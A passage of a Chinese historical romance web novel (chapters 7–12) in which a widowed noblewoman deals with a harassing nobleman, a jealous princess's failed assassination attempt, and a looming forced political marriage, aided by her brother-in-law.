《长嫂为妻，疯批权臣日日诱哄》 第七章 肯定是这样 “我不介意帮帮楚世子。” 赵承宇对着众人露出一个笑容，又看向洛清泠：“楚少夫人，你觉得呢。” 洛清泠还没说话，楚砚寒挡在了她身前。 “不必劳烦赵世子。” “别呀，楚世子，你看郡主对你一片真心的，你也好意思拒绝？” 赵承宇偏过头，看向洛清泠，眼底满是恶意：“楚少夫人，想必你也不忍心吧？还是说——” 他拉长了语调：“少夫人自己年纪轻轻当了寡妇，就见不到别人成双成对，估计搅和不让的？” 洛清泠对赵承宇的视线格外恶心，蹙眉道：“赵世子不忍心，那就自己送吧。” “我看二位之前在陛下面前一唱一和的，关系还挺不错，一路上一起回去，想必也能有不少话题可以聊。” “对了，赵世子的额带怎么不戴上了？” 洛清泠愣是没给赵承宇说话的机会：“那额带绣在那么隐秘的地方的字都能被郡主看得一清二楚，两位私下还挺接近的。” “你胡说什么！” 赵承宇终于找到机会反驳一句，一张脸难看到不能看：“我和郡主清清白白！洛清泠你不要信口雌黄！” 洛清泠：“哦。” 她这对他的变白毫无反应的模样看得人窝火。 宋绾绾几次想要发脾气，都被自己生生忍了下来。 她偏头看向楚砚寒：“楚世子，我和赵世子真的没有关系的，不知道为什么少夫人要这样冤枉我……” 她说着擦了擦眼角，满脸委屈和倔强。 洛清泠听出来她话语之中的挑拨之意。 不就是想要在楚砚寒面前诋毁她么？ 她还怕这个？ 洛清泠在心中冷笑，却还是忍不住提了一口气。 一个娇滴滴的郡主殿下在楚砚寒面前小意温柔，甚至直接哭红了眼，楚砚寒……会怎么做。 “冤枉吗？” 楚砚寒没个正行地站着，手搭在马背上轻轻拍了拍：“不是事实吗？” “赵世子和郡主这么互相维护的样子，本世子还以为你们两人早有什么山盟海誓了呢。” 赵承宇直接闹了个没脸，脸色难看道：“哼，我本来只是看楚世子为难，想要帮个忙罢了，楚世子这样态度，看来是我自作多情了。” 他看向洛清泠，满怀恶意地揣度道：“按照楚世子的逻辑，我不过为郡主说一句实话，就要被这样怀疑，楚世子这么维护洛清泠，又是什么意思？” 楚砚寒轻笑一声，接着，脸色骤然冷沉下来：“我不维护我兄长的夫人，还维护你这狗屁世子不成？本世子是没什么学问，却还是知道什么是自家人，赵世子，你说是不是？” 狠厉之色爬上脸庞，赵承宇被那双眼眸盯上，圣上打了个冷战，一股阴凉之气从心底生起。 “我……” “赵世子还是留着这样恶心的心思，反思反思自己吧。” “上车。” 楚砚寒说完，就将洛清泠扶上了马车，自己也跟着跳了上去，往车辕上一坐，马鞭挥起：“驾！” 马蹄扬起，从面色难看的两人面前走过，没一会儿就消失了踪影。 被留在原地的宋绾绾和赵承宇都觉得自己脸上火辣辣的。 从宫门走过之后，洛清泠就靠在了车门上，轻叹一声：“你何必因为我卷进这些风波里。” “总不能在旁边看着嫂子挨骂，不然这里的事情传回去，爹也要骂死我了。” 楚砚寒满不在乎地开口。 半晌，他才听到身后马车里传来洛清泠的声音：“宋绾绾……此人虽然不怎么样，但她的身份如此，又得陛下喜欢。” 楚砚寒皱起眉头：“嫂子要说什么？” “我看她似乎还真对你挺有意思的，你若是不排斥她，说不定可以试着接触解除？以她的身份，说不定对你有些帮助……” 说到后面，已经几乎是气声了。 楚砚寒眉头皱得更紧。 “驾！” 他一扬马鞭，又在听到马车里的小声惊呼之后不由自主勒紧了缰绳。 “我并无此意，嫂子不用为我考虑了。” 洛清泠听出他话语之中的冷硬，只当他是不耐烦和人说这样的事情，便垂下眼皮，不再说话了。 之后的路上，两人谁也没有说话，马车到平西王府门口后，楚砚寒直接跳下车辕，将马鞭丢到小厮手中，一甩衣袖进门去了。 青云将洛云宁搀扶下来时，洛清泠连他的背影都没看见一个。 “世子好像生气了。” 侍女青云扶着洛清泠，小声嘀咕道。 洛清泠一愣。 “我看世子走路都带风，很生气呢。” “没有吧，”洛清泠回忆了一下，两人也没说什么不愉快的事情，在宫门口的时候也没吃什么亏啊。 她摇摇头：“可能是有什么急事吧。” 青云噘着嘴和洛清泠回府，还是觉得自家主子说得不对。 世子走路带风是急的吗？ 是气的吧！ 而且，说不定还是被自家主子惹生气了呢！ 回房给洛清泠梳洗的时候，青云没忍住把自己的想法说了一下，惹来洛清泠的轻笑。 “我哪里惹他了？” 不，还真惹他了。 洛清泠记得楚砚寒和自己说的最后一句话就是让她别管他婚嫁的事…… “小姐想到什么了？”青云问。 洛清泠嘶了一声：“说不定还真是我惹的，不过源头不是我，是宋绾绾。” 青云瞪大了眼睛，刚想要提醒主子注意身份，就听到洛清泠意味深长道：“世子可能对宋绾绾也有点意思。” 青云：？ “啊？” “肯定是这样。” 洛清泠肯定道：“今晚倒是我做了这个扫兴之人了，若是没有我，世子就可以送宋绾绾，两人在路上你侬我侬一番。” 她一边说一边咂舌：“世子多半对宋绾绾有意思，只是被我点破了，所以有些恼羞成怒了，说到底其实是害羞所致。” 青云听得一愣一愣的：“这样吗？” “大差不差了，毕竟也不是什么几岁的小孩子了，我与他又不熟，贸然与他说这样的事情，不定怎么羞恼呢。” 洛清泠长长叹了口气：“是我知过。” 第八章 留下来叙旧啊 “可是……” 青云下意识想要反驳，可对上洛清泠的平静的目光，又有点怀疑自己的猜测。 自家小姐这么肯定……难道，二公子真的是因为被戳穿了心事，恼羞成怒离开的？ 她默默给洛清泠更衣，忽然想到什么，瞪大了眼睛：“小姐！怎么听你的意思，难道还想要撮合宋绾绾和二少爷不成？” 天哪！ 宋绾绾是什么人？ 今日她跟着小姐进宫，若是真嫁进平西王府，小姐还有太平日子可以过吗！ “小姐！你这是什么意思呀！” 洛清泠耸耸肩：“有什么不好？他们一个男未婚一个女未嫁，若真是双方都有这个意思，有什么不可以的？” 何况宋绾绾还有郡主身份。 平西王府现在处境尴尬，若是真有宋绾绾嫁进来，说不定还能改善一下陛下对平西王府的看法。 洛清泠长叹口气。 “可是，可是，奴婢觉得，”青云咬了咬唇：“可是奴婢觉得，郡主配不上咱们二少爷。” “嗯？”洛清泠一愣，看着她。 青云撇嘴道：“郡主无论品性，样貌，能力，没有一样可以配得上咱们二少爷。” 洛清泠无语地看着青云。 因为平西王府雪中送炭接纳了自己的缘故，青云对平西王府都特有好感。 她无奈地想，青云呐，你但凡多听听外面的言论呢？你口中那个好得不行的二少爷，可是京城里出了名的无用纨绔子弟呢。 那日床榻之上的画面忽然闪过脑海。 洛清泠忽然安静了下来。 青云还在细数宋绾绾哪里不好，哪里配不上楚砚寒，她安静地听着，直到青云说累了停下来，才垂下眼皮道：“那也比我这个刚嫁过来，就死了丈夫的寡妇好……” 话一出口，洛清泠就愣住了。 她在想什么？ 洛清泠骤然咬住自己下唇，站起身吩咐道：“青云，去叫热水，我要沐浴休息了。” “是。” 青云福了福身，从房里退了出去，关门时她抬头看了一眼。 烛光闪烁，映着洛清泠清瘦的背影。 自从洛家出事，小姐被迫嫁入平西府自保，已经消瘦了许多。 还因为大公子当初赶回来丧命一事，一直自责，内疚……还有变得谨慎，卑微。 青云叹了口气，关上门出去要水了。 次日。 洛清泠带着青云出门。 路过药材铺时，她下意识看了一眼旁边的首饰铺。 上次，就是在这里，和何家二小姐何琳琅与表小姐陈文鸢结了仇。 还好，现在的首饰铺里空空如也，没有这两人的背影。 “小姐，怎么了？要买首饰吗？” 青云低声问。 洛清泠才嫁过来，大公子就去世了，小姐从此撤了红妆钗环，素衣裹身。 洛清泠摇摇头：“走吧。” 她带着青云准备离开，街上忽然传来阵阵马蹄声。 洛清泠往后退了退，让出路来。 能在京城闹市纵马之人，身份都不简单，无论对方是谁，洛清泠都不打算和他们起冲突。 然而，哒哒的急促马蹄，却在她面前，停了下来。 “吁——” 洛清泠眉心一跳，抬起头来。 赵承宇带着邪笑的脸映入眼帘。 “哟，这不是楚少夫人吗，竟然在这里遇见了，真是有缘。” 他骑在马背上，居高临下看着洛清泠。在发现洛清泠孤身一人，身边只有一个侍女之后，脸上的笑容更是扩大了两分。 洛清泠转身预走，赵承宇立刻勒马，拦住了她的去路。 “楚少夫人，大家好歹相识一场，就这么见面不识，连个招呼也不打的模样，不太礼貌吧。” “赵世子。” 洛清泠看着他：“有何贵干。” “也没什么事，就是想和楚少夫人聊聊。” “没空。” “我有。” 赵承宇从马上下来，淫邪的目光扫过洛清泠的身躯。 他舔了舔唇角，有些痴迷地嗅了嗅鼻尖的女子香。 又凑近了两分，耳语道： “洛清泠，你在这里待着有什么意义呢？” “你看你们的皇帝对你嫁入平西王府的事也不满意，如此被针对的感受，怎么样？” “语气受活寡，不如——” “主动离了那王府，跟我走……” “美人，我会好好待你的……” 青云见到洛清泠被羞辱，气得眼睛都红了，若非洛清泠死死抓着她，她就是死，也要上去挠花这个什么臭世子的脸！ “说完了吗。” 洛清泠冷冷看着他：“说完就滚。” “洛清泠，你不要给脸不要脸！” “脸是给长了脑子的人的，而你，不配。” 赵承宇手臂一扬，就要对洛清泠挥下去，可看着对方镇定的目光，忽然想到宋绾绾曾说，洛清泠与传闻中的闺阁小姐不同，还有些手段，又生生将手放了下来。 他指着洛清泠的鼻子：“好，洛清泠，你有种。” “我看你这骨气，能让你撑到什么时候！” 大概是他停留的时间过长，身边还有一匹暴躁不停踢腿的高头大马，原本躲开的百姓三三两两出来，斜眼觑着这里的情况。 “好像是那位赵、赵世子？” “他拦着楚少夫人干什么？” “总不是什么好事……” 三三两两的闲言碎语落入耳朵，赵承宇捏紧了拳头。 “好，我今日就先放过你。” 赵承宇翻身上马：“洛清泠，我等着你来求我的那一天！” 他一扯缰绳，准备离开，忽然从侧边伸过来一只手，将扬蹄的马直接按了下来。 “谁？” 赵承宇刚说一句话，腰上忽然一痛，接着，一阵天旋地转，他从马上坠下，狠狠砸在了地上！ “谁敢动我！” 他发出一声惨叫，恶狠狠地看去。 一道玄色衣袍的男人逆光站着，修长的手指一下下拍着马儿的脖颈，好整以暇地看着他。 “哟，这不是赵世子吗。” 楚砚寒勾了勾唇：“这么巧，在这里遇见，赵世子何必急着走呢，大家相识一场，留下来叙叙旧啊。” 赵承宇脸色一阵青白，怒吼涌在喉咙里，却在喷出的那一刻，忽然就被掐断了。 他看见了男人的眼睛。 那双深邃的眼眸里淬着寒冰，仿佛正在将他片片凌迟。 第九章 爬上了楚世子的床 赵承宇浑身打了个冷战，只觉得自己好像被头狼盯上的猎物，一时间连连摔伤的地方也顾不上疼了。 他沉默地爬起来，才察觉到自己竟然在轻轻发抖。 赵承宇觉得很荒谬。 一个纨绔。 他竟然被一个纨绔吓到了？ 怎么可能！ 赵承宇定睛一看，楚砚寒只是冷笑地看着他，似乎刚才的一切，都是他的错觉。 “赵世子怎么不说了？刚才不还有很多话。” “呵，原来楚世子是来给楚少夫人出头来了。” 赵承宇拍了拍衣袍，努力维持自己翩翩公子的形象：“没想到楚世子和楚少夫人之间的感情这么好。” 他将楚世子和楚少夫人两个称呼咬得很重，黏糊在一起，就好像有什么不可告人的关系一般。 楚砚寒眼中闪过一丝晦色。 “平西王府的事，恐怕还轮到赵世子来置喙。” 洛清泠上前一步，冷眼道：“赵世子还是先担心担心自己吧，闹市纵马行凶，弹劾的奏章想必已经在陛下桌案上摆着了。” 赵承宇没有多说，指了指两人，然后翻身上马，纵马而走。 他余光瞥见身后的洛清泠和楚砚寒，心中陡然生出些卑劣的念头。 这两人孤男寡女的，背地里还不知道怎么搅和在一起呢！ 楚砚寒虽是平西王府世子，但这世子之位还是因为他大哥过世，才落到他头上的。赵承宇不相信他和楚明霄两人的兄弟情真有这么深厚。 一个纨绔花花公子，对什么都不在意，却三番两次维护洛清泠这个寡嫂。 两人之间没有猫腻，他绝对不信！ 赵承宇一路回了自己的世子府，一进门，就有小厮迎上来接马。 “公子您回来了。” “嗯，叫冯忠来见我。” 赵承宇吩咐了一声，钻进了书房里。 冯忠一进门，赵承宇就递过去一张密信。 冯忠拆开看了一眼，疑惑道：“世子这是？” “你不用管，我知道你手里有些人脉，就按这上面所写，将消息散播出去。” 冯忠拱手退了出去，书房之中只剩下了赵承宇一人。 他冷笑道：“洛清泠，你不是想当这个贞洁烈女吗，我倒要看看，等这消息传开，你还有什么脸面，在平西王府待下去！” 另一边。 洛清泠松了口气，看向楚砚寒：“多谢二弟解围。” 楚砚寒定定看了她一眼，然后避开视线：“我也没做什么。若是我不出面，嫂子一个人，想来也能应付得了。” “那赵承宇就是个没脑子蠢货。” 洛清泠冷着脸骂了一句。 大庭广众之下，就敢威胁她离开平西王府。连皇帝都不能将她赶出去，他有算什么东西！ “小姐消消气。”青云拍了拍洛清泠的背，眼里满是心疼。 “既然他是蠢货，那就不必为这样的蠢货生气了，平白脏了自己的心情。” 楚砚寒掩嘴轻咳一声，对上洛清泠那双黑白分明的杏眼，又想到她昨日乱拉鸳鸯谱的事，心中十分别扭，邃转开了头，只看着赵承宇离开的方向。 “我是说，和他那样的东西计较，拉低了我王府的面子。” 洛清泠一愣。 楚砚寒没看见洛清泠的反应，自顾自道：“日后嫂子若是再遇上赵承宇找麻烦，也不用再给他什么好脸色，以他的身份，王府还是得罪得起的。” 洛清泠垂下眼破，轻轻叹了口气：“二弟说的是，我知道了。” 青云有些担忧地看着洛清泠，似乎想说什么，洛清泠拍了拍她的手臂，摇摇头。 赵承宇是冲她来的，这是不争的事实。 若非因为她，平西王府也不会和赵承宇对上，说到底，还是她给平西王府带来了麻烦。 楚砚寒会给自己出头……也是因为她给平西王府带来了麻烦吧。 她现在已经不再是过去的那个洛清泠，别人首先会叫她一声楚少夫人，接着才会叫她的名字。 不论她愿不愿意，是平西王府给了她一个机会，她现在已经和王府绑到一条船上了。 洛清泠眼睫轻颤，红唇轻启：“我以后会注意的，不会给王府带来麻烦。” 楚砚寒皱了皱眉。 他不是这个意思。 转头便想要解释，可对上洛清泠那双眼，又什么话都没说得出来。 洛清泠：“还请二弟放心，若是在有下次，也会将王府摘出来的。” “他们是冲我来的，本就是我应该自己解决。” 楚砚寒张了张嘴，又闭上了。 最后只留下冷硬的两个字：“随便。” “今日多谢二弟解围，我就不耽搁二弟的行程了，先走了。” 洛清泠点点头，带着青云先离开了。 楚砚寒僵直地站在原地，直到洛清泠彻底消失，他才拢了拢衣袍，换了个方向离开。 他明白洛清泠刚才的意思。 她这是，不想和王府扯上关系。 ……本来也是。 她和大哥又没有感情基础，成亲都是和他……而且一成婚就守了寡。 若非事出紧急，洛清泠绝对不可能这么草率就嫁入王府。 她想要和王府撇清干系，不是一件很正常的事情吗？ 自己这么别扭做什么？ 楚砚寒走了两步，又停下，回头看向了洛清泠离开的方向。 他可能……可能只是有些心疼她吧。 就算洛清泠不想和王府扯上关系，毕竟已经是他名义上的嫂子，自己看她被欺负，总不能坐视不理。 就算，就算洛清泠并不需要他的帮助。 ＊ “啪！” 茶盏在地上摔了个粉碎。 宋绾绾尖细的护甲几乎戳到小丫鬟的脸上去。 对方骇得连忙跪下，甚至不管自己这一跪是不是跪到了那堆碎瓷上，一个劲磕头：“郡主息怒，郡主息怒！” “你把你刚才说的话，再说一遍！” 宋绾绾尖声喊了一句，又砸了一个茶盏。 “奴婢也是，奴婢也是听来的，现在民间传闻，说、说——” “磨磨蹭蹭，是要本郡主扒了你的舌头吗！” 小丫鬟瑟缩得更离开了，鲜血从膝盖上蔓延出来，刺红了宋绾绾的双眼。 “回郡主！民间传闻，说楚少夫人耐不住闺中寂寞，爬上了楚世子的床！” 第十章 夜袭王府 “啊！” 小丫鬟被一脚踹翻，身下扎了大片大片的碎瓷，发出一声短促的惨叫。 接着，又快速停下，重新跪了回来。 “郡主息怒，郡主息怒！” 宋绾绾胸膛一片急促地起伏，双眸烧得通红。 “洛清泠……又是你！” “敢和本郡主抢人，本郡主要你好看！” 为了拉拢楚砚寒，爬上楚砚寒的床，让他为你说话……上次在宁王府也是这样，这一次，还是这样！ 洛清泠，你该死！ 宋绾绾一把将桌上的东西全都掀到了地上，发出一阵稀碎的声响。 哗啦啦屋子里的人全都跪了下来。 “郡主息怒！” “想要我息怒，除非洛清泠这个贱人死！” 宋绾绾招了招手，她的心腹丫头立刻上前两步：“郡主。” 宋绾绾却一时没有说话，眼眸看着地上跪着的一群人，不知道在想什么。 半晌，有人轻轻扣了扣门。 是回来传信的小丫鬟，那人一进来就看见了屋中的狼藉，连忙收起视线，规规矩矩跪下，道：“郡主，赵世子今日当街阻拦洛清泠羞辱无果，半路楚世子杀出来，将赵世子赶走了。” 宋绾绾扯了扯嘴角。 “好，好的很呐，真是好。” 赵承宇这个蠢货，她就不应该和他合作，成事不足败事有余。 宋绾绾眼底闪过一抹嗜血之色，对心腹丫鬟招手：“附耳过来。” ＊ 是夜。 屋里一片安静。 青云最后看了看洛清泠的情况，吹灭了烛火，蜷在了脚踏边。 洛清泠叹气：“行了，我晚上也没什么事，你去外面好好睡一觉。” 青云执拗不肯，洛清泠好说歹说才把她劝走。 门一关，空荡荡的房间就更显清冷。 洛清泠翻了个身，闭上眼睛，开始酝酿睡意。 不知过去多久。 她忽然在一片黑暗之中睁开了双眼，一个翻身从床上滚了下来。 下一瞬，一把闪着寒光的长刀从她面颊不过半尺的地方斩了下去，将床上的被褥劈碎成两半！ 谁想要杀她？ 洛清泠脑海之中闪过这个念头，猛地向后一个弯腰，一脚将一击不成扑过来的人踹了出去，自己则是借助这一力道，滚到了桌边。 她伸手在桌上一抹，数十道银针就已经入手！ 洛清泠却没着急着动手。 房间昏暗，来人身手不差，不是护卫，就是专业的杀手。 她必须要保证自己一击即中！ 两次击杀不成功，刺客也恼了，一稳住身形就再次冲了上来。 刀光一闪！ 只听两道闷哼之声，接着，刺客缓缓倒了下去。 “小姐！” 青云被动静惊醒，连忙端着烛台跑进来，看见洛清泠之穿着单衣站在地上，面前不远就躺着一个蒙面的黑衣人，手臂长的粗刃就在地上摆着，顿时一阵头晕目眩，差点跪下来。 “小姐你没事吧！小姐！” “没事。” 洛清泠摇摇头，让青云关了门，然后将灯点上。 自己则是蹲到了黑衣刺客身边。 青云这才发现，刺客根本没死！ 他身上几处穴道插着只露出短短一节尾巴的银针，不能动弹，也不能说话，只有眼珠子能转动，额头上已经是一片冷汗。 “说吧，谁派你来的。” 刺客眼珠转了转。 洛清泠笑了。 一根银针被她捏在指尖，在刺客眼前转了转：“我现在只是封住了你的穴道，可能你还不知道我的手段。” 银针往下，在刺客喉下三寸的地方，直接刺了进去。 刺客浑身一僵，全身立刻不受控制地颤抖起来，大滴大滴的冷汗从身上冒出，顷刻间就将他全部打湿。 “说不说。” 刺客连忙眨眼恳求，洛云宁这才抽出银针，又送了一处穴道，让他虽不能动，却能开口说话。 刺客一察觉，眼中一厉，就要咬下口中毒药自尽。 “咔嚓！” 下巴卸掉。 下一瞬，另外一种奇痒无比的痛麻感受从骨髓深处升起！ “唔——！” 这感受，比刚才还要难受万分！ “既然不肯说，那就受着吧。” 洛清泠拍拍手站起来，居高临下看着刺客。 也不管刺客眼中如何求饶，接过了青云递来的热水，团在了椅子上，闭上了眼睛。 “主子，是东苑那边出事了。” 下属跪地禀报，楚砚寒手指一抖。 “怎么回事！”说着就拉开门就要往那边过去，就听下属在身后道：“有刺客夜闯东苑，预杀少夫人，不过已经被少夫人抓住了。” 楚砚寒脚步一顿。 他在门前站了一会儿，问道：“可有受伤？” “没有。” 洛清泠没有受伤。 也没有将这件事报告给王府。 楚砚寒忽然想起白日里洛清泠说过的话，撑在门框上的手不由缩紧了两分。 洛清泠说过，不想和平西王府扯上关系。 这些事情是冲她来的，她会自己解决好。 楚砚寒闭了闭眼，关上了书房门。 两刻钟后，洛清泠睁开了双眼，看着已经被折腾得筋疲力尽的刺客，好心提醒道：“没疼痛两刻钟，可得十息休息，直到痛满两天两夜，你抓紧时间。” 刺客瞪圆了眼睛，似乎不敢相信洛清泠这么毒辣。 然而不等他多想，那熟悉的痛感再次席卷而来！ 刺客两眼发黑，歪着嘴，口齿不清地喊道：“我说！我说！是宋绾绾！宋绾绾叫我来杀你的！” 洛清泠一扬手，银针刺中刺客的穴道，将症状解了。 眯起眼睛：“你再说一遍，是谁叫你来的。” 街上打更过五更，天边已泛起一抹苍白。 一道漆黑的人影踉踉跄跄从王府出来，直奔郡主府去。 一见到宋绾绾，他就跪了下来。 “怎么去了这么久！” 宋绾绾等了一晚上，见到刺客就骂了一句：“我问你，事成了没有！” “回禀郡主，那楚少夫人身手了得，属下花了些功夫，才……” “你杀了她了？” 宋绾绾心中一跳，连忙追问道。 “属下无用，只在纠缠之中将她刺伤，但也同时惊动了府中的侍卫，来不及查看伤势，就逃了。” “可有被人看见？” 宋绾绾心头一紧，得知没有之后，她才松了口气，接着皱眉道：“没用的东西，这么点小事都做不好，自行下去领罚。” 第十一章 男女有别 黑衣人离开后。 宋绾绾手指在桌上轻敲了敲。 “郡主。” 心腹筠儿上前两步，低声道：“可要奴婢再安排人？” “不必。” 宋绾绾抬手制止：“一击不成，那洛清泠必然有了防备，再想这么偷偷派人暗杀，想来风险不小。” “那洛清泠死了也就死了，只怕担心将本郡主牵扯进去，那就不划算了。” 她沉吟半晌，道：“去，打水来，洛清泠受伤，本郡主合该前去探望一二。” “是。” 平西王府。 洛清泠一早就没出院子，有侍女来问，也被青云挡了去，只说是身上不舒服，懒得动。 送走了人，青云回头看向床边的洛清泠：“小姐，您确定今天宋绾绾会来？” “不确定啊。”洛清泠笑笑。 只是按照宋绾绾的性子，得知昨晚给了她一个教训，近日多半会登门，示威，或者警告。 至于这个登门时间，就看宋绾绾到底能不能沉得住气了。 青云道：“小姐怎么就将那刺客放走了，不如直接抓起来，严刑拷打，把真相逼问出来之后直接交给王爷，告她宋绾绾一顿才好呢！” 她刚说完，屋外就传来通报：“郡主来了。” 青云住了嘴，将洛清泠的帘子放下，回身去开门。 宋绾绾走进屋内，视线在清苦的屋中摆放转了转，又看向帘后。 “还请郡主担待，我家小姐昨晚感了风寒，今日身上不爽利，不能起身款待。” 青云上前赔罪。 宋绾绾笑了。 她挥挥手表示不在意，自己则是在桌边坐下：“倒是本郡主来得不巧，打扰了楚少夫人的休息。” “楚少夫人怎么不出声？” 洛清泠：“郡主自便。” 宋绾绾挥手：“行了，你们先下去吧，我和楚少夫人说说闲话，用不着伺候。” 筠儿行了一礼退下，又将青云给拽了出去。 青云想留下，见洛清泠没什么反应，这才退了出去。 房门一关，宋绾绾就站起来，三两步来到床边，一把掀开了帘子。 “洛清泠，你装什么装！” 洛清泠未施粉黛，素发轻垂，面色微微发白，我见犹怜。 宋绾绾见状，轻快地笑了：“还真病了啊。” “怎么一夜不见，就憔悴成这样了呢，瞧瞧这小脸蛋，啧啧。” 她伸手想要触碰洛清泠，被洛清泠躲开。 一双黑沉沉的眼眸看来：“你到底想说什么？” 宋绾绾冷笑道：“洛清泠，你说，你有现在的下场，是不是该算你活该？” 她低声警告道：“若是再敢勾引世子，下一次，也许就不是生病这么简单了……” 生病二字咬得与别字不同。 洛清泠抬头，不冷不热道：“哦。” “郡主这是在威胁我？” 她看着宋绾绾那张美人脸，忽然一笑：“我若是做了，郡主又如何？” 宋绾绾看着那张不惊不怒的脸，心头一阵火起：“我看你是不知死活！” 说着就抬手要对洛清泠的脸扇去。 “我的确不是生病，昨日府中来了刺客。” 宋绾绾的手停在洛清泠面前，僵住了。 “那刺客身手不错，可王府侍卫也不是吃素的，缠斗之下，倒真从那刺客手里拿到点东西，唔，好像是个令牌，现已查证去了……” “不可能！” 宋绾绾心头一紧，后退两步，指着洛清泠：“洛清泠你吓我！” “我吓郡主做什么？莫不是那刺客和郡主有什么关系，郡主认识那令牌不成？” 宋绾绾抿唇，不说话了。 半晌，宋绾绾扯了扯嘴角：“今日，是你故意做局，引我上钩的是不是？” 她在心里将自己的下属骂了个狗血淋头 洛清泠只是浅笑，并不言语。 宋绾绾沉不住气，冷声道：“洛清泠，你到底想做什么？” “我什么也不想做，我向来奉行人不犯我我不犯人的准则，”洛清泠收了笑容，冷冷地看着宋绾绾：“郡主，若是你再给我使绊子，这刺客的事，不日就会在京城传开了。” “好，洛清泠，算你狠。” 宋绾绾气笑了。 她并不在意这件事会不会被曝光，但……若是传到了那个人的耳朵里，对自己有什么不好的印象……就有些得不偿失了。 她整了整衣袍，脸上扭曲的表情已经恢复了过来。 “洛清泠，只要你安分守己，本郡主没这个时间和你作对。” “既然看你也看过了，本郡主就回去了，楚少夫人可要安心养伤才是。” 她最后看了一眼洛清泠，转身拉开门出去。 洛清泠，我们走着瞧！ 这一次算你好运！ 她脸上闪过一丝不甘之色。 “吱呀”一声，房门被拉开。 面前骤然多了一道玄衣身影。 宋绾绾心中一愣，抬起头来，对上一张面若冰霜的俊脸。 “世、世子？” 楚砚寒瞥了她一眼，正要进门，衣角却被拽住。 “世子，”宋绾绾委屈地看着他：“世子就先别进去了吧，楚少夫人生了病，心情不好，正在气头上呢。” 她吐了吐舌头，有些不好意思地解释道：“我也才被少夫人赶出来，世子就不要上赶着触这霉头了，等少夫人心情好一点，再过来。” 帘幕之内，洛清泠勾起了唇角。 直接当着她的面就挑拨离间，抹黑她的形象，这宋绾绾，当真沉不住气。 她此刻但凡多说一句，就能让她的晃眼不攻自破。 洛清泠张了张嘴，最后还是闭上了。 算了。 宋绾绾毕竟是……二弟喜欢的人，她何必在这个时候做个恶毒的嫂子，破坏二人的感情呢？ 她的沉默更加助长了宋绾绾的气焰，不着痕迹地瞥了洛清泠一眼，带着些许挑衅和得意。 “世子，我们还是先出去吧。” 话音刚落，手上一阵剧痛。 她下意识松了手，手背已经红了一大片。 宋绾绾愣愣地捧着手，似乎还没反应过来自己是被楚砚寒给拍开了。 “郡主，男女有别。” 楚砚寒手背掸了掸衣袍，直接跨进门去了，只进门一步，便站住了，对着帘中拱手道：“嫂子，弟砚寒前来请安，身子可有好些？” 第十二章 郡主！ 楚砚寒明晃晃对洛清泠的维护，让宋绾绾一阵天旋地转。 她猛地将手撑在门框上，才没有摔下来。 “郡主！” 筠儿上前搀扶，担忧地看着宋绾绾，低声汇报道：“世子不许通传……” 宋绾绾摆摆手，转身看着楚砚寒。 “哎，”洛清泠叹气道，“说了没什么大碍，还过来做什么，青云！” 青云从门外跑进来：“小姐。” “给世子看茶。” 楚砚寒在桌边坐下，回头看向宋绾绾：“郡主还有事？” 宋绾绾捏紧绣帕：“世子不问问我怎么被楚少夫人赶出来的吗？” 楚砚寒：“郡主不是说了，我嫂子生了病，心情不好，或有冒犯之处，还请郡主见谅。” 这是刚才宋绾绾拿来抹黑洛清泠的话，现在却被楚砚寒给还了回来！ 他就这么包庇洛清泠那个贱人！ 洛清泠到底给楚砚寒灌了什么迷魂汤！ 宋绾绾一口银牙都快咬碎了，面上还要装出心碎大度的模样，关键是这模样还没人心疼，别提有多怄人了。 “我，我也没有真生气，我知道少夫人只是，心情不好……” 楚砚寒干脆转开了身子，不看宋绾绾了。 宋绾绾被筠儿搀扶着，身子又是一晃，一副大受打击的模样。 洛清泠的声音从帘子后传出：“郡主，我现在乏得很了，一乏，心情就烦躁，一烦躁就想骂人，若是郡主不介意，可以留下来给我当个解闷的出气筒。” 宋绾绾差点没气死，可楚砚寒就在这里坐着，她只能把这些气都记在心里，带着筠儿，怒气冲冲地走了。 青云递了茶就要退出去关门，洛清泠喊道：“掩门就不必了，你在屋里候着。” 青云点头称是，站到了门边。 楚砚寒转着手中的茶盏，一时没有说话。 洛清泠无奈：“二弟今日来找我，可是有什么事？” 楚砚寒顿了一下。 他本是听说宋绾绾过来了，担心她来找洛清泠的麻烦，这才匆匆找来的。 ……但洛清泠就和她说的那样，她自己能应付。 他来的时候，已经将宋绾绾气走了，看起来也没有吃亏。 茶盏放回桌上，楚砚寒道：“倒的确有一件事，想和嫂子商议一番。” “根据传回来的消息，近日边境再次有发起战争的苗头，越国那边已经起了兵，压在边境线上。” “只说是在排兵演练，并未违反协约，驻守的将军也没有法子。” “这些消息，想来很快，就会传到陛下案头。” 洛清泠遮了帘，只能看见一道玄衣身影坐在桌边。 两人隔着这么远的距离，分明是看不清他的模样，洛清泠却能在脑海之中勾勒出楚砚寒说这话时的模样。 一个被众人称之为纨绔的少爷，却能快皇帝一步知道边境动向…… 她垂下眼眸，接过了楚砚寒的话头：“当年两国协议，本是要我前去和亲，但我嫁入了王府，越国只能将此条作废。” 但这些年来，赵承宇小动作不断，越国并没有放弃将她这个洛家唯一的后人带走的想法。 “是，”楚砚寒话语之中不自觉带出的寒意：“越国这是在给陛下施压，为了边境和平，陛下肯定会逼你再去和亲。” 青云震惊地看着两人，嘴唇翕动，噗通一下跪在了地上。 “求、求世子……救救小姐！” 小姐若是真落入了越国人手里，哪里还有命活？ 平阳王府，是夫人为小姐求得的最后的庇护所，若是连这里也待不住了，小姐还能去哪里？ “青云，起来吧。” 沉默半晌，洛清泠忽然道：“洛家儿女没有任人摆布的道理，我已经忍了三年，既然对方还是不肯放过我，那我也不必退缩躲藏了。” 楚砚寒眼中闪过一丝欣赏之色，除此，还夹杂着些自己都没察觉的情绪。 或许，是对洛清泠没被磨平斗志的欣慰，或者，是她对自己如此信任的欣喜。 “嫂子的意思是？” “我要重回战场。” 洛清泠哼笑一声：“我洛家儿女从来不是贪生怕死之辈，这些年我苟且偷生，已是愧对先祖遗训，这一次，哪怕是当个大头兵，我也要回到战场。” 房间之中安静下来。 洛清泠骤然回神，她现在不只是洛家的人，更是平阳王府的人，若是因为自己一时冲动，给平阳王府带来什么危险，那就太对不起平阳王府对自己的帮助了。 “放心……”我会在上战场之前，和平阳王府彻底脱离干系。 话没出口，就被楚砚寒打断了。 他轻叹一口：“嫂子是武将之后，我自然相信嫂子的能力，但——嫂子这样做，未免太过委曲求全了些。” “嫂子不用如此悲观，我和父王在朝堂之上，也会帮你说话，必然不会让那等羞辱英烈之后的事情发生。” 洛清泠身躯一怔。 她张了张嘴，想问，这样不会给平阳王府带来麻烦吗？ 